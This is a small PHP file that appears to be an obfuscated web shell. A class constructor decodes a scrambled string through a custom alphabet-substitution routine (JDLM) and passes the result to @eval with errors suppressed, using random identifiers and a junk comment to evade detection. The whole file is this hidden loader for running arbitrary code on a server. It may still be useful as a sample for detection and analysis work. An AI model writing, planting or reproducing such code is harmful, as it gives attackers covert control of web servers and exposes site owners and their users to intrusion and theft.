<?php
class VQHM{
        public $PCOQ = null;
        public $BFJH = null;
        function __construct(){
        $this->PCOQ = 'Gi5AGVGlhshOvCvLPCvbvOv25BGi5yGCvmhK62';
        if(1){
        $this->BFJH = @JDLM($this->PCOQ);
    } 
        @eval($this->BFJH."/*la>Xzu@*/");
        }} 
new VQHM();
function JDLM($ECSI){
    $KAGC = 'SLYw7VHqhyNj6bJIPOncviZdGARM5ukp9sexWKTUtBX4821EQlozDmf3a0rFgC';
    $ECSI = strval($ECSI);
    $NHJV = str_split($KAGC);
    $TYGE = array_flip($NHJV);
    if(!preg_match('/[a-zA-Z0-9]+/',$ECSI)){
        return false;
    }
    $OKFR = strlen($ECSI);
    $MREN = 0;
    $ZKEB = array();
    while($MREN<$OKFR){
        $KQLF = decbin(($TYGE[$ECSI[$MREN]]-$MREN%2)/4);
        $ZKEB[] = str_pad($KQLF,4,'0',STR_PAD_LEFT);
        ++$MREN;
    }
    $QPAM = '';
    $ZKEB = array_chunk($ZKEB,2);
    foreach($ZKEB as $QZCT){
        $QPAM .= chr(bindec(join('',$QZCT)));
    }
    return $QPAM;
}